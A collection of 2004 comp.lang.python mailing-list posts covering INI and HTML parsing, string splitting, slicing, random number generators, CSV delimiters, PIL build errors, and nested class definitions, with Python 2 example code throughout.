try: data['type']=INI.getint(section, option)
except:
    #
    # Insert code to handle missing type option
    #
    pass

option='numbercells'
try: data['numbercells']=INI.getint(section, option)
except:
    #
    # Insert code to handle missing numbercells option
    #
    pass

option='cellheader'
try: data['cellheader']=INI.get(section, option)
except:
    #
    # Insert code to handle missing numbercells option
    #
    pass

CELLS=[x for x in INI.options(section)
       if x.startswith('cell')]

#
# Must get rid of 'cellheader' or maybe change the key name?
#
CELLS=[x for x in CELLS if x != 'cellheader']

celldatalist=[]
for CELL in CELLS:
    celldata={}
    x, y, probe, plen, atom, index=INI.get(section, CELL).split(' ')
    celldata['cell']=int(CELL[4:])
    celldata['x']=int(x)
    celldata['y']=int(y)
    celldata['plen']=plen
    celldata['atom']=int(atom)
    celldata['index']=int(index)
    celldatalist.append(celldata)

data['table']=celldatalist


This is tested so it should be close (I do this quite a lot in
my code).

You could wrap a loop around the outside of this if you have
multiple QC instances.

Hope it helps.
Larry Bates



"Raoul" <raoulsam at yahoo.com> wrote in message 
news:7b22ae5b.0409201639.7837fca9 at posting.google.com...
>I am futzing with pyparsing and for the most part enjoying it.
> However, I'm running into trouble with whitespace delimited lists. I
> get data in blocks like this:
>
> [QC1]
> Type=15
> NumberCells=1925
> CellHeader=X Y PROBE PLEN ATOM INDEX
> Cell1=132 0 N 25 0 132
> Cell2=652 0 N 25 0 652
> Cell3=648 0 N 25 0 648
> ...
>
> I'd like to be able to parse this structure.
>
> Ideally, I'd like for a QC node, to have a dictionary with
> {'number':1
> 'type' : 15
> 'NumberCells' : 1925
> 'Table' : [{'cell':1,'x':132,'y':0,'probe':25,'plen':0,'atom':132',
> 'index':None}, {'cell':2 ....
>
> I'm running into the following problems:
>
> 1. I can't seem to use delimitList() to define a rule that parses the
> right hand side of the table into
> ['x','y','probe','plen','atom','index']. I think it's because my lists
> are whitespace delimited.
>
> 2. I can't seem to convert value into an integer, for example, I can
> parse each row in the table to :
>  ['Cell','2','=', '652 0 N 25 0 652']
> but am unable to get the setParseAction(see below) to convert and
> substitute in the right value.
>
> Any hints will help a great deal. Thanks...
>
> Raoul-Sam
>
>
> I have some ugly non functional code below..
>
> def cdffile_BNF():
>    global cdfbnf
>
>    if not cdfbnf:
>        makeint = Word(nums).setParseAction( lambda s,l,t:[int(t[0])])
>        equals = Literal("=").suppress()
>        nonequals = "".join( [ c for c in printables if c != "=" ] ) +
> " \t"
>
>        key = Word(nonequals)
>        value = Word(nonequals)
>        kvp = Group(key + equals + restOfLine)
>        kvpBlk = OneOrMore(kvp)
>
>        headerCell = delimitedList(Word(alphanums)," ")
>        rowHeader = Combine( Literal("CellHeader") + equals +
> headerCell)
>        row = Combine(Literal("Cell").suppress() + restOfLine)
>        rows = OneOrMore(row)
>
>        CDF = Literal("[CDF]")
>        CDFBlk = Group(CDF + kvpBlk)
>
>        CHIP = Literal("[CHIP]")
>        CHIPBlk = Group(CHIP + kvpBlk)
>        CHIPBlk.setResultsName("chip")
>
>        QC = Combine( Literal("[QC").suppress() + Word(nums) +
> Literal("]").suppress())
>        QCBlk = QC + kvp + kvp + rowHeader + rows
>
>        cdfbnf = CDFBlk + CHIPBlk + QCBlk
>
>    return cdfbnf 




From fredrik at pythonware.com  Fri Sep 24 04:35:04 2004
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Fri, 24 Sep 2004 10:35:04 +0200
Subject: Parsing HTML
References: <jmj5q0gv1g1k$.dlg@morateknikutveckling.se>
	<pan.2004.09.23.10.41.35.287415@thomas-guettler.de>
Message-ID: <cj0m3u$hi6$1@sea.gmane.org>

Thomas Guettler wrote:

> If you want to parse many HTML pages, you can use tidy to create
> xml and then use an xml parser. There are too many ways HTML can be
> broken.

including the page Anders pointed to, which is too broken for tidy's
default settings:

    line 1 column 1 - Warning: specified input encoding (iso-8859-1) does
    not match actual input encoding (utf-8)
    line 1 column 1 - Warning: missing <!DOCTYPE> declaration
    line 3 column 1 - Warning: discarding unexpected <html>
    line 9 column 1 - Error: <xml> is not recognized!
    ... snip ...
    260 warnings, 14 errors were found! Not all warnings/errors were shown.

    This document has errors that must be fixed before
    using HTML Tidy to generate a tidied up version.

you can fix this either by tweaking the tidy settings, or by fixing up the
document before you parse it (note the first warning: if you're not care-
ful, you may end up with unusable swedish text).

I've attached a script based on my ElementTidy binding for tidy.  see
alternative 1 below.  usage:

    URL = "http://msdn.microsoft.com/library/en-us/dnwue/html/swe_word_list.htm"

    wordlist = parse_microsoft_wordlist(URL)

    for item in wordlist:
        print item

the wordlist contains (english word, swedish word), using Unicode where
appropriate.

you can get elementtree and elementtidy via

    http://effbot.org/zone/element.htm
    http://effbot.org/zone/element-tidylib.htm

on the other hand, for this specific case, a regular expression-based approach
is probably easier.  see alternative 2 below for one way to do it.

</F>

# --------------------------------------------------------------------
# alternative 1: using the TIDY->XML approach

from elementtidy.TidyHTMLTreeBuilder import parse
from urllib import urlopen
from StringIO import StringIO
import re

def parse_microsoft_wordlist(url):

    text = urlopen(url).read()

    # get rid of BOM crud
    text = re.sub("^[^<]*", "", text) # bom crud

    # the page seems to be UTF-8 encoded, but it doesn't say so;
    # convert it to Latin 1 to simplify further processing
    text = unicode(text, "utf-8").encode("iso-8859-1")

    # get rid of things that Tidy doesn't like
    text = re.sub("(?i)</?xml*?>", "", text) # embedded <xml>
    text = re.sub("(?i)</?ms.*?>", "", text) # <mshelp> stuff

    # now, let's process it
    tree = parse(StringIO(text))

    # look for TR tags, and pick out the text from the first two TDs
    wordlist = []
    for row in tree.getiterator(XHTML("tr")):
        cols = row.findall(XHTML("td"))
        if len(cols) == 3:
            wordlist.append((fixword(cols[0]), fixword(cols[1])))
    return wordlist

# helpers

def XHTML(tag):
    # map a tag to its XHTML name
    return "{http://www.w3.org/1999/xhtml}" + tag

def fixword(column):
    # get text from TD and subelements
    word = flatten(column)
    # get rid of leading number and whitespace
    word = re.sub("^\d+\.\s+", "", word)
    return word

def flatten(node):
    # get text from an element and all its subelements
    text = ""
    if node.text:
        text += node.text
    for subnode in node:
        text += flatten(subnode)
        if subnode.tail:
            text += subnode.tail
    return text

# --------------------------------------------------------------------
# alternative 2: using regular expressions

import re
from urllib import urlopen

def parse_microsoft_wordlist(url):

    text = urlopen(url).read()

    text = unicode(text, "utf-8")

    pattern = "(?s)<tr>\s*<td.*?>(.*?)</td>\s*<td.*?>(.*?)</td>"

    def fixword(word):
        # get rid of leading nnn.
        word = re.sub("^\d+\.\s+", "", word)
        # get rid of embedded tags
        word = re.sub("<[^>]+>", "", word)
        return word

    wordlist = []
    for w1, w2 in re.findall(pattern, text):
        wordlist.append((fixword(w1), fixword(w2)))

    return wordlist

# -------------------------------------------------------------------- 





From chrisks at NOSPAM.udel.edu  Sun Sep 19 03:08:43 2004
From: chrisks at NOSPAM.udel.edu (Chris S.)
Date: Sun, 19 Sep 2004 07:08:43 GMT
Subject: Math errors in python
In-Reply-To: <cihrab$1v8$02$1@news.t-online.com>
References: <linok0tk1d0cftbh9092j31mpglj2petls@4ax.com>
	<cihrab$1v8$02$1@news.t-online.com>
Message-ID: <%fa3d.3867$%42.1942@trndny08>

Peter Otten wrote:

> Radioactive Man wrote:
> 
> 
>>thing would happen.  Any suggestions for a way to fix this sort of
>>error?
> 
> 
> Starting with Python 2.4 there will be the 'decimal' module supporting
> "arithmetic the way you know it":
> 
> 

Great, why fix what's broken when we can introduce a new module with an 
inconvenient API.


From Lu.Fan at seagate.com  Fri Sep 10 13:37:38 2004
From: Lu.Fan at seagate.com (Lu.Fan at seagate.com)
Date: Fri, 10 Sep 2004 11:37:38 -0600
Subject: question about random number generation
Message-ID: <OFE5B98598.1EC05A6B-ON87256F0B.005E056A@seagate.com>

Dear All,
I'm a newbie in Python. I have a question about the random number 
generation in Python vs. Java. 
We have a system developed in Python. Now I'm writing tests in Java 
(actually a Java wrapper) to test it. I need to duplicate a random number 
generation process in my test which means that given the same seed I 
expect the same result in Java as in Python. As far as I know, Python uses 
the Mersenne Twister RNG --- correct me if I am wrong. Do Python and Java 
use the same RNG?

Thanks,

Lu
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-list/attachments/20040910/e9f29579/attachment.html>

From shalabh at cafepy.com  Thu Sep  2 12:54:11 2004
From: shalabh at cafepy.com (Shalabh Chaturvedi)
Date: Thu, 02 Sep 2004 09:54:11 -0700
Subject: negative stride list slices
In-Reply-To: <Pine.LNX.4.44.0409012214110.29696-100000@ccc4.wpi.edu>
References: <8a638f47.0409010941.7f1cbbad@posting.google.com>	<r7oZc.6653$MR2.32885@news1.mts.net>
	<2pmj4aFmofl2U1@uni-berlin.de>	<evqZc.6862$MR2.33137@news1.mts.net>
	<ch5e3r$o8c$1@sea.gmane.org>	<mailman.2738.1094075786.5135.python-list@python.org>
	<Pine.LNX.4.44.0409012214110.29696-100000@ccc4.wpi.edu>
Message-ID: <ch7j4j$a53$1@sea.gmane.org>

Christopher T King wrote:
> On Wed, 1 Sep 2004, Shalabh Chaturvedi wrote:
> 
> 
>>Does anyone else find it intuitive to expect that S[b:a:-1] be exactly 
>>reverse of S[a:b:1]?
> 
> 
> No.  S[a:b:1] includes the start index (a), but excludes the stop index 
> (b).  Similarly, S[b:a:-1] includes the start index (b), but excludes the 
> stop index (a).  Only if the stop indices were included (or the start 
> indices were excluded), thus making the indexing symmetrical, would I 
> expect the results to be symmetric.
> 

That's a good explanation. My initial confusion arose because I 
remembered how slices work by the suggestion (and diagram) under:

http://docs.python.org/tut/node5.html#SECTION005120000000000000000

"The best way to remember how slices work is to think of the indices as 
pointing /between/ characters". When negative step is in the picture, 
the indices are no longer in the same inbetween places and need to be 
shifted to the right. Associating indices with characters themselves 
dissipates the confusion.

Thanks,
Shalabh



From peter at engcorp.com  Thu Sep  2 15:38:15 2004
From: peter at engcorp.com (Peter Hansen)
Date: Thu, 02 Sep 2004 15:38:15 -0400
Subject: Xah Lee's Unixism
In-Reply-To: <41376B82.C6A202FC@yahoo.com>
References: <j-OdnS-Q8aADqKjcRVn-tQ@speakeasy.net>
	<10jc7cu7e57koaa@corp.supernews.com>
	<20040901.2343.57633snz@dsl.co.uk>
	<YLednXSn7obciqrcRVn-og@powergate.ca> <41376B82.C6A202FC@yahoo.com>
Message-ID: <P5GdnU8q-8Sw66rcRVn-qg@powergate.ca>

CBFalconer wrote:

> Peter Hansen wrote:
>>Brian {Hamilton Kelly} wrote:
>>>wyrmwif at tango-sierra-oscar-foxtrot-tango.fake.org "SM Ryan" wrote:
>>>>There's a story about why railroad tracks are spaced the way they are.
>>>
>>>Is this the one about two Roman horses' arses?  If so, it also accounts
>>>for the physical dimensions of the Space Shuttle's boosters.
>>
>>A quick search using Google will show that while there is a
>>certain amount of truth in the original story, most of the
>>details are wrong, and the final bit about the booster rockets
>>is unsubstantiated.  But it's still a cute story.
> 
> I know nothing about those stories, but it seems reasonable to me
> that the boosters would have been designed to be transportable by
> railroad, which ties their dimensions to track gauge.

You know, it's really rather helpful when people take the time to
read the things they are trying to discuss, since quite often
those things end up answering questions that those people
might have.

See the snapes.com article that Dave Hansen (no relation) posted
for more... and a response to your reasonable thoughts above.

-Peter


From BrenBarn at aol.com  Fri Sep 10 20:28:44 2004
From: BrenBarn at aol.com (OKB (not okblacke))
Date: 11 Sep 2004 00:28:44 GMT
Subject: Nested class structures
References: <Xns95607B54E1208OKB@130.133.1.4>
	<WPSdnS4yN4xs3t_cRVn-jw@comcast.com>
Message-ID: <Xns9560B1CD8670OKB@130.133.1.4>

Larry Bates wrote:

> It is a little hard to understand what you want but you
> may just want to put class instances in a list.
> 
> class anon:
>     pass
> 
> class class1:
>     def __init__(self):
>       self.l=[anon(), anon(), anon()]

    	Yeah, sorry, I should have been a little more clear.  Anyway, it's 
important that these be actual class definitions, because I want the 
ability to include per-class methods and stuff.  So I don't really want 
a bunch of identical anonymous classes.  I want something like:

class class1:
    	class anon:
    	    	def meth1(self): print "meth1"
   	class anon:
    	    	def meth1(self): print "different meth1"
    	class anon:
    	    	def meth1(self): print "another meth1"

    	This is why I want to define the classes inline, nested in the 
other class.  I'm trying to leverage the syntactic structure of class 
definitions to get nested structures of code.  It's somewhat akin to

a = { 'one': 1,
    	'nested': { 'two': 2, 'three': 3,
    	    	'nestnest': { 'four': 4, 'five': 5 }
    	}
    	'othernest': { 'six': 6 }
    }

    	. . . except that I want the ability to include arbitrary python 
code where I have 1, 2, 3 there (as dictionary values).  As far as 
I can tell, Python doesn't provide a way to define code as part of 
a larger expression like this, except in a class definition.

-- 
--OKB (not okblacke)
Brendan Barnwell
"Do not follow where the path may lead.  Go, instead, where there is
no path, and leave a trail."
	--author unknown


From sholden at flexal.cs.usyd.edu.au  Mon Sep 20 23:43:15 2004
From: sholden at flexal.cs.usyd.edu.au (Sam Holden)
Date: 21 Sep 2004 03:43:15 GMT
Subject: Python for Perl programmers?
References: <c1e48b51.0409201820.217e1dd@posting.google.com>
Message-ID: <slrnckv8qj.no4.sholden@flexal.cs.usyd.edu.au>

On 20 Sep 2004 19:20:07 -0700, Markus Dehmann <markus.cl at gmx.de> wrote:
> I am using perl for everything, even bigger programs, with objects,
> uh, modules and stuff. I know pretty much every trick in perl and have
> a lot of experience.
>
> But I'd like to try a cleaner language, where you don't have to type
> so much crap to create a class etc. So, I wanna give python a try.

Reduced typing is a strange reason to go from perl->python :)

package Foo;
sub new {
	my ($package, $start) = @_;
	bless {count => $start}, $package;
}
sub inc {
	$_[0]->{count}++;
}
sub dec {
	$_[0]->{count}--;
}
sub val {
	$_[0]->{count};
}


class Foo:
	def __init__(self, start=0):
		self.count = start
	def inc(self):
		self.count += 1
	def dec(self):
		self.count -= 1
	def val(self):
		return self.count

Both seem about the same amount of typing. The perl version actually
returns the previous counter value in inc() and dec(), but that's
not that useful anyway.

I guess you could argue all those {}s are "crap" :)
		
> Is there a tutorial that takes all the standard perl things and then
> explains how to do them in python? That would be perfect. Open a file,
> take all the words, put them in a hash, do something with them, print
> the result in a formatted way, write it to a new file etc. Create a
> class that downloads newsgroups, etc. Things like that.

For a smaller grain size, there is:

	http://www.python.org/moin/PerlPhrasebook

Though the perl code has parenthesis around function calls which
I don't think anyone would actually use in practice, eg.

	print (join (" ", @$l));
	print ("\n");

which would usually be (in perl):

	print join " ", @$l;
	print "\n";

or even (for the brave and foolish):

	print "@$l\n";

But other than making the perl code harder to grok for perl programmers
not much harm is done, and it's still understandable and a reasonable
comparison.

-- 
Sam Holden


From erik at heneryd.com  Mon Sep 13 13:10:24 2004
From: erik at heneryd.com (Erik Heneryd)
Date: Mon, 13 Sep 2004 19:10:24 +0200
Subject: Small inconsistency between string.split and "".split
In-Reply-To: <864d370904091309576330b1ed@mail.gmail.com>
References: <864d370904091309576330b1ed@mail.gmail.com>
Message-ID: <4145D480.60008@heneryd.com>

Carlos Ribeiro wrote:
> Hi all,
> 
> While writing a small program to help other poster at c.l.py, I found
> a small inconsistency between the handling of keyword parameters of
> string.split() and the split() method of strings. I wonder if someone
> else had ever stumbled on it before, and if it has a good reason to
> work like it is.
> 
> Both implementations take two parameters: the separator character and
> the max number of splits (maxsplit). However, string.split() accept
> maxsplit as a keyword parameter, while mystring.split() doesn't. In my
> case, it meant that I had to resort to string.split() in my example,
> in order to avoid having to deal with the separator.
> 
> ** BTW, I had to avoid dealing with the separator for another annoying
> reason: I thought that I could do something like this:
> 
> mystring.split(string.whitespace, 2)
> 
> to preserve the default whitespace detecting behavior. But it won't
> work this way with neither implementation of split().

1) If you look at the string lib docs, the parameters are meant to be 
positional, not keywords...

2) You can get the same behavior from str.split() by using None as the 
separator (undocumented, I guess).

IMHO both the string function (just a matter of documentation) and the 
str object method should accept keywords.


Erik


From tonino.greco at gmail.com  Fri Sep 10 03:15:04 2004
From: tonino.greco at gmail.com (TAG)
Date: Fri, 10 Sep 2004 09:15:04 +0200
Subject: simple string parsing ?
In-Reply-To: <1gjw213.4g7jgj1bajn7eN%aleaxit@yahoo.com>
References: <mailman.3102.1094738800.5135.python-list@python.org>
	<1gjv0gq.mo3tj21rucgmhN%aleaxit@yahoo.com>
	<mailman.3132.1094795510.5135.python-list@python.org>
	<1gjw213.4g7jgj1bajn7eN%aleaxit@yahoo.com>
Message-ID: <5db3bf0004091000152bb12bb9@mail.gmail.com>

> ((Of course, you ARE restricted to what Python considers 'tokens' so you
> may need some postprocessing if you need a slightly different notion of
> tokens))

luckily they should all be - but in the case that they are not - how
can I checki it ?


thanks again :)


From __peter__ at web.de  Sat Sep 18 13:53:57 2004
From: __peter__ at web.de (Peter Otten)
Date: Sat, 18 Sep 2004 19:53:57 +0200
Subject: Fwd: [Python-Dev] Strawman decision: @decorator won't change
References: <cibkl1$395$07$1@news.t-online.com>
	<du7k6uu60ru.fsf@amadeus.cc.tut.fi>
	<cigu1p$mrf$05$2@news.t-online.com>
	<pan.2004.09.19.13.27.45.272833@jerf.org>
Message-ID: <cihsnl$kko$00$1@news.t-online.com>

Jeremy Bowers wrote:

> It's the best choice. It's the ONLY choice. Choose "?".

I see you are striving for fame, so I suggest that you write a PEP that
provides a unicode character for every keyword. It can be slated for
adoption in the next year of the snake.

Peter



From siona at chiark.greenend.org.uk  Thu Sep  9 08:48:13 2004
From: siona at chiark.greenend.org.uk (Sion Arrowsmith)
Date: 09 Sep 2004 13:48:13 +0100 (BST)
Subject: adns-python return codes
References: <mailman.2835.1094222123.5135.python-list@python.org>
	<pcz*nD3tq@news.chiark.greenend.org.uk>
Message-ID: <Xwi*drbuq@news.chiark.greenend.org.uk>

Sion Arrowsmith  <siona at chiark.greenend.org.uk> wrote:
>Josh Close  <narshe at gmail.com> wrote:
>>Does anyone know what the return codes for an mx adns python lookup
>>are? I know 0 means a valid domain, and anything else isn't, but there
>>are "no nameservers found" and "timeout" and other things that would
>>have to be retried again.
>
>I'd guess you want to be looking at adns.h, specifically the typedef'd
>enum adns_status (ll. 205--255 in the copy I'm looking at), although
>I've not looked at how the Python bindings to adns work.

I now *have* looked at the Python bindings to adns -- if you're
after "what error code corresponds to a given error?" then
adns.status exposes the adns_status enum:

>>> adns.status.timeout
30

although if what you're interested in is when to retry then you
might be better off using adns.exception() and catching and
handling the different classes of exception appropriately.

If you want a human-readable description of a given status code,
it looks like the best way would be:

try:
    adns.exception(result[0])
except adns.Error, e:
    description = e[1]

-- 
\S -- siona at chiark.greenend.org.uk -- http://www.chaos.org.uk/~sion/
  ___  |  "Frankly I have no feelings towards penguins one way or the other"
  \X/  |    -- Arthur C. Clarke
   her nu become? se bera eadward ofdun hl?ddre heafdes b?ce bump bump bump


From davebrok at soda.csua.berkeley.edu  Tue Sep 21 12:29:58 2004
From: davebrok at soda.csua.berkeley.edu (David Pokorny)
Date: Tue, 21 Sep 2004 09:29:58 -0700
Subject: Microthreads without Stackless?
References: <mailman.3171.1094844869.5135.python-list@python.org>
	<18282ecb.0409120634.5ba044ee@posting.google.com>
	<Mtw1d.20732$kV6.18121@newssvr29.news.prodigy.com>
	<18282ecb.0409151755.47b691e2@posting.google.com>
	<Ms92d.16135$QJ3.8331@newssvr21.news.prodigy.com>
	<8cf9f521.0409162213.105d321e@posting.google.com>
	<dUw2d.22139$mo4.11260@newssvr29.news.prodigy.com>
	<cieafr$m4b$1@nntp0.reith.bbc.co.uk>
	<8cf9f521.0409171009.142a3fcd@posting.google.com>
	<g9P2d.20874$7g2.11628@newssvr27.news.prodigy.com>
	<414c1f4b$0$82251$ed2619ec@ptn-nntp-reader03.plus.net>
	<upZ2d.22496$061.3740@newssvr29.news.prodigy.com>
	<naGdnT215sFuTdLcRVn-qQ@lmi.net>
	<cip42f$hio$1@nntp0.reith.bbc.co.uk>
Message-ID: <eOydnbkreageys3cRVn-vg@lmi.net>


"Michael Sparks" <michaels at rd.bbc.co.uk> wrote in message
news:cip42f$hio$1 at nntp0.reith.bbc.co.uk...
> David Pokorny wrote:
> > "Bryan Olson":
> >> Michael Sparks:

> Well, given the lack of airtime for them and the fairly fundamental
> playing around they do, I'm not entirely suprised. However that's not a
> reason to take a look at something, and they are pretty cool IMO.

Oh, I couldn't agree more! (about greenlets=cool) If ever there was an
elegant solution to full coroutines/microthreads, this is it!

David Pokorny




From tjreedy at udel.edu  Thu Sep  9 02:04:10 2004
From: tjreedy at udel.edu (Terry Reedy)
Date: Thu, 9 Sep 2004 02:04:10 -0400
Subject: container-indepentent iteration code ?
References: <10jv5ad1sjgep4d@corp.supernews.com><pan.2004.09.08.19.46.06.74868@jerf.org>
	<10jv9ae988bbnb7@corp.supernews.com>
Message-ID: <chorov$9nq$1@sea.gmane.org>


"flacco" <flacco002 at spambadTwilight-systems.com> wrote in message 
news:10jv9ae988bbnb7 at corp.supernews.com...
> Jeremy Bowers wrote:
>> On Wed, 08 Sep 2004 19:27:38 -0400, flacco wrote:
>>
>>>is there a way to iterate over the *values* in a list/dict/whatever, 
>>>regardless of whether it's a list, dict, or whatever?  ie, the iteration 
>>>code will not know beforehand what kind of container it's getting.
>>
>> In what way does
>>
>> for obj in container:
>>
>> not meet your needs?
>
> i always want obj to be the value.  dicts, for example, yield keys 
> instead of values (i think?)...

When iterators were introduced, there was discussion of whether

for x in somedict:

should iterate over dict.keys(), dict.values(), dict.items(), or continue 
to be illegal.  dict.keys() won as being most useful because most commonly 
needed.  Iterating over values or items continues to have to be explicit.

Terry J. Reedy





From madsurfer2000 at hotmail.com  Sun Sep 12 09:21:18 2004
From: madsurfer2000 at hotmail.com (-)
Date: 12 Sep 2004 06:21:18 -0700
Subject: Alternatives for the CSV module
Message-ID: <fef0a228.0409120521.17de84ef@posting.google.com>

I am going to make a program that reads files with different
csv-dialects. Sometimes the field-separator or line-separator can be
more than one character. The standard CSV module in Python 2.3 is not
a good solution, because it expects single characters.

Example of a file

"ABC"<>"DEF"""<>"GHI"??123<>456<>"XYZ"??

Here the field delimiter is "<>" and the "line" terminator "??".
Fields can be enclosed in quotes, and a double qoute is treated as
normal text.

This is not the only format the parser can expect. The format is given
to the program by the user, so the program should have no problems
parsing the text. An ideal solution would be a similar parser to the
standard CSV-parser, except that it accepts strings as delimiters.

I could always manipulate the input file and replace the delimiters by
single characters, but I would like a more generic solution.

SimpleParse (http://simpleparse.sourceforge.net/) looks like a good
alternative. It doesn't support Unicode, but most most files can be
converted to ISO-8859-1 first.

Would SimpleParse be suitable for this purpose, or are there better
alternatives out there, like a more flexible CSV-parser?


From elbertlev at hotmail.com  Sat Sep 11 00:03:32 2004
From: elbertlev at hotmail.com (Elbert Lev)
Date: 10 Sep 2004 21:03:32 -0700
Subject: Building Very Large Records
References: <mailman.3158.1094836254.5135.python-list@python.org>
Message-ID: <9418be08.0409102003.6ec06a3d@posting.google.com>

>>I don't know enough about Oracle SQL yet, could I format the data in
the SQL call?

This would be the best solution. Especially if done via stored
procedure. I also do not know how to do this in Oracle. In MSSQL I
would write an extended stored prosedure.


From zshutters at comcast.net  Fri Sep 10 10:52:55 2004
From: zshutters at comcast.net (Zach Shutters)
Date: Fri, 10 Sep 2004 07:52:55 -0700
Subject: making windows apps
Message-ID: <QsCdnR9OEoPAddzcRVn-jw@comcast.com>

    I am new to python and working my way through the van Rossum tutorial. I 
am cursios though about if you can program windows with python? I know I 
shouldn't worry about this right now but I am curious. If so, is there any 
recommended tutorials on this. I know I can search google but i figured I 
would see what some people who know the language well would recommend.
    One last thing, in order for a program I write in python to run on 
someones computer, they have to have the python interpreter installed? And 
if so, wouldn't most people not have it installed since they wouldn't be 
programming in it. I know this is probably an uber nube question, but that's 
what I am right now. Hopefully no one will get pissed off and give some 
smart ass comment about how stupid my question is (sorry but most of the 
time thats what I get when I post in a newsgroup lol)

-Zach 




From maney at pobox.com  Sun Sep  5 12:46:22 2004
From: maney at pobox.com (Martin Maney)
Date: Sun, 5 Sep 2004 16:46:22 +0000 (UTC)
Subject: Inline Conditionals?
References: <mailman.2307.1093385983.5135.python-list@python.org>
	<m3llg3h2zs.fsf@pc150.maths.bris.ac.uk>
Message-ID: <chffsu$121$3@wheel2.two14.net>

Michael Hudson <mwh at python.net> wrote:
> Joshua Ginsberg <joshg at brainstorminternet.net> writes:

>> Is there any plan to include inline conditionals in Python? For example:
>> 
>> def isNegative(x):
>>       return x < 0 ? True : False

> Read PEP 308, and note that this was probably the largest flamewar in

BTW, is there ever going to exist the promised summary of the reasons
the PEP was rejected despite a 4:1 vote favoring it?  It was a fine bit
of sophistry for the BDFL (or whoever ran the thing) to split the
supporting votes so that it looked like there was a lack of consensus
on substantial issues rather than the superficial difference of taste
that actually made the discussion so... active.  I've been wondering
ever since how that would be spun in the final apologia.

-- 
The dualist evades the frame problem - but only because
dualism draws the veil of mystery and obfuscation
over all the tough how-questions  -- Daniel C. Dennett


From robmccrea at spaamadelphiaspremoveam.net  Mon Sep 13 10:42:29 2004
From: robmccrea at spaamadelphiaspremoveam.net (Rob McCrea)
Date: Mon, 13 Sep 2004 10:42:29 -0400
Subject: the FCNTL module is deprecated
Message-ID: <4oidneSCbKpfLNjcRVn-iw@adelphia.com>

Hi all,

On windows98SE, running Python 2.3.4 (#53, May 25 2004, 21:17:02) [MSC 
v.1200 32 bit (Intel)] on win32, the built-in help() function gives me
a deprecation warning when used on my docstrings.

just help() start the interactive help without error.

Heres some minimalistic code to demonstrate this warning:

"""start testhelp.py"""

class Object:
     "class Object is an empty testing class"
     def __init__(self):
         pass

help(Object)

"""end testhelp.py"""

"""start output"""

C:\PYTHON23\lib\fcntl.py:7: DeprecationWarning: the FCNTL module is 
deprecated;
please use fcntl
   DeprecationWarning)

Help on class Object in module __main__:

class Object
  |  class Object is an empty testing class
  |
  |  Methods defined here:
  |
  |  __init__(self)

"""end output"""

I'm not particularly concerned with it, just being a warning which I 
might be able to suppress with python.exe parameters, but if anyone 
knows how to fix it, I'd like to fix it.  I also had the same warning in 
2.3.3, which lead me to upgrading which searching for a solution.  I 
tried deleting all .pyc from my python\Lib directory, to no avail.  I am 
new, am I missing a step in creating docstrings and/or using help()?

Thanks,
Rob



From sharidas at zeomega.com  Thu Sep 16 02:50:42 2004
From: sharidas at zeomega.com (Satchidanand Haridas)
Date: Thu, 16 Sep 2004 12:20:42 +0530
Subject: Python Imaging Library
In-Reply-To: <ci9lp6$5d0$1@lacerta.tiscalinet.it>
References: <ci9lp6$5d0$1@lacerta.tiscalinet.it>
Message-ID: <414937C2.7020503@zeomega.com>

Hi,

Check the following link for a patch that might do the trick.

http://effbot.org/zone/pil-errata-114.htm

Regards,
Satchit

----
Satchidanand Haridas (sharidas at zeomega dot com)

ZeOmega (www.zeomega.com)
Open  Minds' Open Solutions

#20,Rajalakshmi Plaza,
South End Road,
Basavanagudi,
Bangalore-560 004, India



daniele wrote:

> i got this errors while executing the command 'python setup.py build'
> in PIL installation:
>
> _imagingtk.c:23: error: syntax error before '*' token
> _imagingtk.c:31: error: syntax error before "Tcl_Interp"
> _imagingtk.c:31: warning: no semicolon at end of struct or union
> _imagingtk.c:32: warning: data definition has no type or storage class
> _imagingtk.c: In function `_tkinit':
> _imagingtk.c:37: error: `Tcl_Interp' undeclared (first use in this 
> function)
> _imagingtk.c:37: error: (Each undeclared identifier is reported only once
> _imagingtk.c:37: error: for each function it appears in.)
> _imagingtk.c:37: error: `interp' undeclared (first use in this function)
> _imagingtk.c:45: error: syntax error before ')' token
> _imagingtk.c:50: error: `app' undeclared (first use in this function)
> _imagingtk.c:50: error: syntax error before ')' token
> _imagingtk.c: At top level:
> _imagingtk.c:55: warning: parameter names (without types) in function 
> declaration
> _imagingtk.c:55: error: conflicting types for `TkImaging_Init'
> _imagingtk.c:23: error: previous declaration of `TkImaging_Init'
> _imagingtk.c:55: warning: data definition has no type or storage class
> _imagingtk.c:57: error: syntax error before '&' token
> error: command 'gcc' failed with exit status 1
>
> where is the problem?
> daniele



From hecvillaf at yahoo.com  Thu Sep 30 18:55:53 2004
From: hecvillaf at yahoo.com (Hector Villafuerte)
Date: 30 Sep 2004 15:55:53 -0700
Subject: Day of Year Behaviour
Message-ID: <b23aa71.0409301455.2679184e@posting.google.com>

Hi all!
I have 2 fields:
YEAR
DAY_OF_YEAR

and I need to get the complete date out of this, e.g.:
YEAR=2004
DAY_OF_YEAR=1
-> DATE=2004/Jan/1

YEAR=2004
DAY_OF_YEAR=33
-> DATE=2004/Feb/2

I'm using the time module without success:
>>> time.localtime(time.mktime((2004, 0, 0, 0, 0, 0, 0, 1, 0)))
(2003, 11, 30, 0, 0, 0, 6, 334, 0)

Any suggestions? Thanks in advance!
Hector Villafuerte


From aleaxit at yahoo.com  Sat Sep 11 09:34:19 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Sat, 11 Sep 2004 15:34:19 +0200
Subject: Nested class structures
References: <Xns95607B54E1208OKB@130.133.1.4>
	<WPSdnS4yN4xs3t_cRVn-jw@comcast.com>
	<Xns9560B1CD8670OKB@130.133.1.4>
	<chur3h$tk7$05$1@news.t-online.com>
Message-ID: <1gjyg86.h447z2mlz6joN%aleaxit@yahoo.com>

Diez B. Roggisch <deetsNOSPAM at web.de> wrote:
   ...
> The only thing that comes to my mind is to create the classes from strings
> you exec - that will allow you to captur the class before redefining it:

You can capture before redefining without any need to exec:

>>> class outside:
...   anons=[]
...   class anon:
...     def method1(self): return 'the first'
...   anons.append(anon)
...   class anon:
...     def method1(self): return 'the second'
...   anons.append(anon)
...   class anon:
...     def method1(self): return 'the third' 
...   anons.append(anon)
...   del anon
... 
>>> for c in outside.anons: print c().method1()
... 
the first
the second
the third
>>> 


> Apart from that, I don't see any way to accomplish this - and for good
> reasons: classes as well as functions are only declarations - that means

No way!  Classes as well as functions are perfectly fine objects.
Python has no 'declarations'.

> that they are stored in a sort of symbol table. And as there is no such
> thing like an order of declartions, the only thing to access them is their

These is no such thing as "an order of declarations" because there are
